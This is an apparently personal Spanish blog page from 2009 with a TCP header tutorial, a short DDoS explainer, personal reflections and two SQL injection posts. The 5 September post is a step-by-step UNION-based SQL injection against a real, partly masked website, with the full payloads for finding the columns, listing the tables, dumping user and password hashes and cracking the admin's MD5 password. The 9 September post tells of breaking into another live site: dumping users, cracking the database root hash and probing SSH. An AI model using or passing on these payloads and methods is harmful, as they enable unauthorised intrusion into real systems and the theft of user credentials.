miércoles, 30 de septiembre de 2009

[Tutorial] TCP Header

[Tutorial] TCP Header

Como decía otro día, intentaré explicar los diferentes métodos de ataques DDOS, pero antes de eso, para poder entenderlo necesitamos conocer cómo funciona TCP/IP.
La cabecera del protocolo IP ya lo había explicado hace unos tiempos atrás, esta vez explicaré la cabecera del protocolo TCP. Y para recordarle que de estamos en el nivel de transporte.

Vale para empezar, [como soy muy candul voy a hacer una COPY&PASTE de Luis Conde García]
TCP es un protocolo de transporte orientado a conexión. Esto hace que los datos se entreguen sin errores, sin omisión y en secuencia.

Tiene las siguientes características:

· Protocolo orientado a conexión. Es decir, las aplicaciones solicitan la conexión al destino y luego usan están conexión para entregar los datos, garantizando que estos serán entregados sin problemas.
· Punto a punto. Una conexión TCP tiene dos extremos, emisor y receptor.
· Confiabilidad. TCP garantiza que los datos transferidos serán entregados sin ninguna perdida, duplicación o errores de transmisión.
· Full duplex. Los extremos que participan en una conexión TCP pueden intercambiar datos en ambas direcciones simultáneamente.
· Conexión de inicio confiable. El uso de three-way handshake garantiza una conexión de inicio confiable y sincronizada entre los dos extremos de la conexión.
· Conexión de finalización aceptable. TCP garantiza la entrega de todos los datos antes de la finalización de la conexión.

(Definiciones hecho por: Luis Conde García )


De Linux


Y aquí empieza la parte interesante, XD.[Go! Follow me!]:

Source Port
Puerto utilizado por emisor para enviar los paquetes.



Destination Port
Puerto en la que escucha la aplicación del receptor para recibir los paquetes.



Sequence number (numero de secuencia):
Tiene como finalidad de añadir un número (secuenciado) a cada paquete y, al ser secuenciado el receptor sabrá inmediatamente si falta algún paquete por medio o no. En caso de que haya perdido X paquete, el receptor pide al emisor que reenvie los paquetes perdido.

El valor de este campo varía dependiendo del SYN:
SYN flag=1: Tendrá el valor del *^1 initial Sequence Number(ISN, numero de secuencia incial) + 1 .
SYN flag=0: Tendrá el valor de *^2 Sequence Number(SN,numero de secuencia) del primer byte del segmento.

*^1 ISN (Initial Sequence Number)
El número de secuencia inicial es generado aleatoriamente.

*^2 SN (Sequence Number)
El número de secuencia es incrementado por cada byte de dato.
En cada fragmento puede tener varios bytes, por eso dice "primer byte del segmento" [Understand? ;)].



Acknowledgment Number (Número de acuse de recibo):

Indica el Sequence Number del paquete que espera recibir, al mismo tiempo está indicando que el anterior lo ha recibido correctamente.

El valor de este campo varía dependiendo del ACK:
ACK flag= 1: *^3 Valor del Sequence Number que espera recibir.
ACK flag= 0: No tendrá ningún valor puesto que no está respondiendo.

Ejm:
A: SN=A1, Acknowledgment Number=NULL
/* soy paquete A1, no espero nada*/

B: SN=B1, Acknowledgment Number=A2
/* soy paquete B1, he recibido A1 y estoy esperando A2 */

A: SN=A2, Acknowledgment Number=B2
/* soy paquete A2, he recibido B1 y estoy esperando B2 */

B: SN=B2, Acknowledgment Number=A3
/* soy paquete B2, he recibido A2 y estoy esperando A3 */
(...)



Data Offset o Header Lenght (Logitud de la cabecera):
Es de 4 bit (256 valores): Los valores son representado para indicar el tama?o de la cabecera en bit.
Valor mínimo= 20 byte (32 bit de cada fila X 5 filas = 160 bit).
Valor máximo= 60 byte ((32 bit de cada fila X 5 filas = 160 bit) + 40 byte de opciones).



Reserved (reservado):
Campo de 8 bit reservado para futuro uso (No especifica para qué).



TCP Flags (Bit de control):

CWR (Congestion Window Reduced): (en muchos sitio aparece como reservado)

ECE (ECN-Echo):(en muchos sitio aparece como reservado)

URG (URGent Pointer):
URG=1: Indica que el campo "Urgente" es significativo.
URG=0: Indica que el campo "Urgente" es ignorado.

ACK (ACKnowledgment):
ACK=1: Indica que el campo "Acknowledgment Number" es significativo
ACK=0: Indica que el campo "Acknowledgment Number" es ignorado

PSH (PuSH Function):
PSH=1: Entrega al nivel de aplicación los datos almacenado en el buffer.
PSH=0: Los paquetes llega hasta el buffer del receptor, sin llegar al nivel de aplicación.

RST (ReSeT the connection):
RST=1: Indica que ha recibido un "error". Ejm: un puerto inválido.
RST=0: Todo correcto.

SYN (SYNchronize sequence numbers):
SYN=1: Tendrá el valor del *^1 initial Sequence Number(ISN, numero de secuencia incial) + 1.
SYN=0: Tendrá el valor de *^2 Sequence Number(SN,numero de secuencia) del primer byte del segmento.

FIN (FINal No more data from sender):
FIN=1: Indica que es el último fragmento, indica al receptor cierre del conexión.
FIN=0: Indica que no es el último fragmento.



Window size (Ventana):
En este campo de 16 bit, guarda el tamaño (hasta 65536 byte) que el receptor espera recibir. El emisor no podrá enviar más datos cuando haya llegado a su máximo, y tendrá que esperar el ACK del receptor(indicando que todos los datos haya llegado, y que siga enviando).

Ejm:
Receptor: SN=R1 ACK=E1 Window size=15 Byte
Emisor: SN=E1 ACK=NULL #fragmento de 5 byte#
Emisor: SN=E2 ACK=NULL #fragmento de 5 byte#
Emisor: SN=E3 ACK=R2 #fragmento de 5 byte#
Receptor: SN=R2 ACK=E4 Window size=15 Byte



Checksum (Suma de verificación):

Mediante una serie de algoritmos, asegura que la cabecera y los datos no llegen corruptos, a diferencia de IP que éste sólo comprueba la cabecera y no los datos.



Urgent (Urgente):
Indica que desde el pricipio hasta el numero de byte del dato del fragmento será de alto prioridad.
Un fragmento puede estar formado por parte urgente y parte normal, sólo que al llegar al receptor éste procesará en primer lugar la parte de alta prioridad, y los otros restante se quedará en la cola del buffer hasta que llegue otro PSH
URG flag=1: Este campo es significativo.
URG flag=0: Este campo será ignorado.



Referencias
http://en.wikipedia.org/wiki/Transmission_Control_Protocol
http://mike.passwall.com/networking/tcppacket.html
http://www.tcpipguide.com/free/t_TCPConnectionEstablishmentSequenceNumberSynchroniz.htm
http://www.freesoft.org/CIE/Course/Section4/8.htm
http://www.ncsa.illinois.edu/~vwelch/net_perf/tcp_windows.html

En PDF:
Tcp Header
View more documents from sui90.



Saludos, Good Luck!!
Read more »

viernes, 25 de septiembre de 2009

DDOS

De Buzón


DOS
Denial Of Service (Denegación de servicio)

Es un tipo de ataque que consiste en consumir todo el recurso del servicio proporcionado por el ervidor y causarle la imposiblidad de prestar su servicio a otros clientes.
Un ejemplo para explicar este tipo de ataque:
En un banco (el servidor) hay 5 trabajador para atenter a todos los clientes que venga a hacer ingresos (servicio) sin necesidad hacer mucha cola.
Pues bien, va Lui (el atacante), y trae 1 millón de euro en monedas de 1 céntimo para ingresarlo de céntimo en céntimo en distintas cuentas. (Aclaración: todos los servicios se realizan manualmente).
Para fastidiar más, Lui pide un duplicado para cada una de la factura.

Aquí Lui ha hecho 2 ataques de denegación de servicio:
1- Mantener ocupado a todos los trabajadores, dejándole sin tiempo para atender a otros clientes.
2- Gastarle todos los pepel de facturación.

Un ejemplo real:
Ejecución de script malicioso en el servidor [vulnerable, por supuesto] que consiste en crear infinidades archivos de tamaños considerables (con bucles).
-Consumo de recurso
-Llenar el disco duro del servidor

Otro ejemplo:
Ping de la muerte [õ_Õ]


DDOS
Distributed Denial of Service
Tiene el mismo fin que el del anterior pero realizado con muchos "atacantes" al mismo tiempo, la mayoría de las veces estos "atacantes" son víctimas al mismo tiempo, denominado zombi, que son controlado por una aplicación del atacante final.

Un ejemplo real:
ICMP Flood
SYN Flood


(Continuará...) [boaah, DESCANSO~~~, XD]
(tipos de ataques, howto works...)

Saludos, Good Luck!
Read more »

sábado, 19 de septiembre de 2009

Lee, piensa, reflexiona, aplica. III

"Si fuera su media naranja,
él será mi exprimidor"


Así que, no se confíen en los hombres. ;)
Read more »

viernes, 18 de septiembre de 2009

Así es cómo empezamos...

-"La pantalla negra de cargar los dispositivos [POST] es del SO"¿?
-"La BIOS está dentro del SO y es controlado por él"¿?
-"xcopy es un intérprete"¿?

T_T...
NOOOO!!! Otra vez NO...¿Porqué...? Me ha tocado otra vez una profesora que no sabe... y su módulo es de 7 hora semanales [hay que aprobarlo por lo coj*nes...] ... T_T, más triste aún, ya tiene marcado un trabajo y eso que fue el segundo día de su clase [hay que hacerlo aunque uno no quiera...T_T]
Ni tenía gana de discutirlo en ella sobre el tema de la BIOS...
Esta profe lo tiene todos bien memorizado pero mal estudiado... si es que desde el primer día ya viene con estos fallos... no sé si fiarme de lo me va a enseña después...

Y el otro... en vez de PLC dijo PCL [Bueno, este nada, fallo lo tiene cualquira, perdonado está, XD]
En fin, es lo que hay... [A AGUANTAR... qué penoso...T_T]
Read more »

sábado, 12 de septiembre de 2009

Preparando

Queda confirmado, el marte de la próxima semana comienza las clases, pero yo, de toda la vida, empiezo un día más tarde que los otros/as, [jeje, soy más chachi, nahh], sólo he asistido una vez al día de presentación y no me gustó nada.
Una cosa rara es que todos los años llego tarde en el primer día de la clase, sin ser apropósito. Hasta incluso llego tarde estando en el instituto 3 horas antes de que llegara los profesores... ¿Cómo es posible? Pues sí, 3 horas esperando el profesor y justo 10 segundos antes de que él viniera fuí al baño, y cuando salí todos los compañero que estaban esperando desaparecieron, y lo estube buscando un buen ratillo...

Ya tengo algo de información sobre la clase de este año, según lo que ví en la lista: somos 31 alumnos/as [y soy el último de la lista, como siempre, :D, nadie me supera con ZH], y hay 3 chicas [es lo primero en que uno se fija, porque es raro encontrar chicas en la informática, XD. muy pocas].
Hay 17 en el sengundo, y ninguno es chica... XD.

Y en la residencia... ví unos apellidos muy familiar en una lista de la admición, es, es la ... o_O oh MY GOD... -bah-, igual, a estudiar y FIESTAAAA~~ [I know you know ;)]

[No me hecheis de menos eh, XD]

let's go, start the game.
Read more »

jueves, 10 de septiembre de 2009

Lee, piensa, reflexiona, aplica. II

En una sociedad tan ocupada y llenas de prisas, al caer el sol, al terminar la rutina ¿En qué/quién piensas ahora que sientes vacíos?


Read more »

miércoles, 9 de septiembre de 2009

Another SQL Injection testing

Hay página web hay de todo y para todo, incluso páginas dedicado especialmente a las porcinas, osea cerdos, bastante curioso, XD. Estoy hablando de una web que encontré vulnerable y que hice pruebitas con él.

Bueno, la web además de estar mal hecha está super abandonado.

-Ejecuta directamente con la cuenta de root, con nombre de las columnas y tablas de DB muy común.
-No digamos que el administrador o la administradora (XD) de esta web no revisa los logs, porque ni si quiera revisa la web en sí.
-Hay bastante usuarios registrado con su nombre y contraeña exactamente igual o de puesto de lo más fácil.

-He conseguido la pass del admin, pero en MD5, no hay ningún cracker online con esta crackeada.
-He conseguido crackear la pass de root [el hash], XD (del DB), pero tiene el puerto de Mysql cerrado... [T_T].
-Hice un escaneo de puerto y... [jeje] el puerto 22, el del SSH, abierto. [o_O], pero no tiene puesta la misma contraseña para MySql ... [·_·]

Y tiene un montón de cosas más en la DB, cosas que no nos interesa...


Antes de que lo hiciera yo, ya hubo algún intruso allí...
De testing



Hay más de 20000 usuario registrado, pero no sé porqué sólo me aparece unos pocos de ellos (con group_concat), con LIMIT sí,aparece hasta el último, pero hay estar uno por uno.
De testing



Saludos, Good Luck!
Read more »

lunes, 7 de septiembre de 2009

Lee/piensa/reflexiona/aplícala

"La esperanza del mañana nos hace olvidar los sufrimientos de hoy."


"La imaginación es más importante que el conocimiento."


"Sólo es necesario un minuto para encontrarte con alguien, una hora para gustarte, un día para enamorarte, pero necesitas una eternidad para olvidarle."


Saludos, Good Luck!!
Read more »

1 año después...

De sui90

Una cosa menos para preocupar mientra circulo por la autopista.

---
Read more »

sábado, 5 de septiembre de 2009

SQL injection, caso práctico a un servidor MySQL >= 5

SQL injection, caso práctico a un servidor MySQL >= 5

Digo para servidores MySQL versiones mayor o igual que 5, es porque apartir de dicha version se le incluye una base de dato (information_schema) donde está la esquema de todas las informaciones del DB. Sabiendo y conociendo la estructura de este base de datos, y teniendo permiso de acceso a él [por defecto es accesible] podemos sacar muchas informaciones.

[Vamos a trabajar a mano y después aseguramos que esté bien con una herramienta!]

Para empezar hay buscar una web vulnerable, y no hay nada mejor que google para ayudar con esta búsqueda.

http://www.page*.com/news.php?nid=3
A simple vista por la extención .php parece que el servidor de base de datos es MySQL [pero no es seguro, porque tambien puede haber PHP conectado a una DB de Access, pero que no es lo normal].


Aseguramos que sea vulnerable con el típico de 1=1 y 1=0
http://www.page*.com/news.php?nid=3 AND 1=1
*página_1
Nos tiene que salir la página de la misma condición que ante de inyectar, ya que la condición coincide.

*página_2
http://www.page*.com/news.php?nid=3 AND 1=0
Nos saldrá una página parecido a la de correcta pero sin datos del DB, ya que la condición no coincide.


Y continuamos en obtener más informaciones acerca del servidor.

http://www.page*.com/news.php?nid=3'
Y nos sale un error de este tipo:
Fatal error: Call to a member function fetch_assoc() on a non-object in E:\wwwroot\phpser\wwwroot\news.php on line 40

Aquí obtenemos la ruta del servidor web y al parecer es servidor web ejecutado en un MS windows.


http://www.page*.com/news.php?nid=3 AND (@@version)>=5
Con esto afirmamos que es una version > 5.
No buscamos la versión concreta de MySQL, porque lo que nos interesa es el DB information_schema nada más, por ahora.


http://www.page*.com/news.php?nid=3 order by 10 --
Con este intentamos obtener el número de columas que tiene la tabla actual en la que está conectado. En caso de que haya puesto más de la cantidad de columna existente saldrá *pagina_2, en caso contrario *pagina_1.

http://www.page*.com/news.php?nid=3 order by 6 --
Así, jungando con los números, conseguimos saber que la tabla actual tiene 6 columnas.

Las 2 guiones al final indica el comentario, comentar todos los que vienen detrás, por si acaso la sentencia esté sin terminar y pueda causar error.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, 1111, NULL, NULL, NULL FROM information_schema.tables
puse: 1=0 para que aparezca la *página_2, osea sin datos
1111: con esto averiguo el lugar del web donde saldrá los resultados, es de referencia nada más.
NULL's : son rellenos, porque si no el servidor cantaría un error por no coindicir las cantidades de columnas.


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(table_name), NULL, NULL, NULL FROM information_schema.tables where table_schema=database()
group_concat(table_name): para que todos los registros de esa columnas salga juntado.
Otra manera es poniendo directamente table_name y jungando con LIMIT, pero es más trabajo.

EL resultado: just, mart, news, puser, restore, top.
De testing



http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(column_name), NULL, NULL, NULL FROM information_schema.columns where table_name=0x6a757374
0x6a757374: la tabla "just" en hexadecimal

Y así con las restos de las tablas. Y obtendríamos:

just: jid,jname,jtime,mid
mart: mid,mname,mtime
news: nid,ntitle,ncontent,ntime,ntj,mid
puser: pid,pname,ppass,ptime
restore: rid,rname,rcontent,riddress,rroot,tid
top: tid,title,tcontent,tname,tfrom,times,tj,tjj,tt,tnum,jid


[JEJE, si nos fijamos bien en la tabla "puser", tiene toda una pinta de que allí se guardan los user y pass, XD]


http://www.page*.com/news.php?nid=3 AND 1=0 UNION SELECT NULL, NULL, group_concat(pname, 0x7c7c,ppass), NULL , NULL, NULL FROM puser where pname like 0x2525
0x7c7c: "||" en hexadecimal, lo pongo para separar user y pass, porque sino aparecería juntado, muy lioso al leer.
0x2525: "%%" en hexadecimal, cualquier alfanumérico y cantidad de él.
De testing



tanto top888 como admin tiene misma contraseña: e10adc3949ba59abbe56e057f20f883e
a simple vista, es una contraseña encriptado, probé con el md5 [uno de los más comunes] y tachaan!!
MD5(123456) = e10adc3949ba59abbe56e057f20f883e

Done!! ya tememos admin con su password, pero temenos un problema... no sé por dónde ir para logearme... [Qué lastima, :D]

Bueno de toda manera esta página todavía está en construcción, todavía no tiene puesto el foro, y le falta bastante cosa, por lo que veo... Ya vendré cuando esté lista... ¬_¬




Todo los anteriores lo podría haberlo hecho tomando un café y dandole "clik's" a Mini MySqlt0r [creo que sólo funciona con MySQL v5], en cuestion de minutos te lo saca.


Y NO, todos los que he hecho manualmente no ha sido ninguna pérdida de tiempo, estoy super contento por saber y poder haberlo hecho manualmente, XD.


Saludos, Good Luck!
Read more »

Interno vs externo

-Sigues sin convencerme de que con la informática liga un montón, XD.

A la hora de elegir pareja para una relación estable durarera cuyo sea para toda la vida puede que sí, preferían un informático,con una mente sana, más que a un super dancer de la discoteca, chulo patatero.

Pero es como todos y todas, el primer proceso de enamoramiento se empieza con las miradas, y las miradas siempre se fija en los aspectos físicos, y después ya en los internos, que son más difícil de captar, porque muchas de las veces son rechazado antes de que llegara a conocer correctamente. ¿No le da oportunidad? ¿Prejuicio?

Hay quienes lo clasifica al conocer, "Este/a sólo será como un/a amig@", "Este/a será un/a compañer@", "Este/a de confianza", ¿porqué clasificar?, ¿porqué no dejar que las cosas fluya a su manera? Y si te equivocas? Puede que ese/a conocid@ sea tu verdadera media naranja o ese/a amig@ de confianza te traicione.

Si le da una oportunidad, esa oportunidad no es sólo para el/ella sino es para ambos.

Es fácil de empezar una relación [bueno, no tanto], pero es difícil de mantenerla, y para mantenerla, como para todas las cosas, hay que QUERER, PODER y SABER.
-Querer establecerla
-Saber, tener ideas para establecerla
-Poder, tener capacidad para esteblecerla

Aunque por más inteligencia que tengas es imposible de equilibrar la belleza. El gran porcentaje sigue prefiriendo a la belleza, aunque saben que ésta se gasta.

Bueno, son rollos que me asaltan a las tantas de la madrugada.
Read more »

 
Powered by Blogger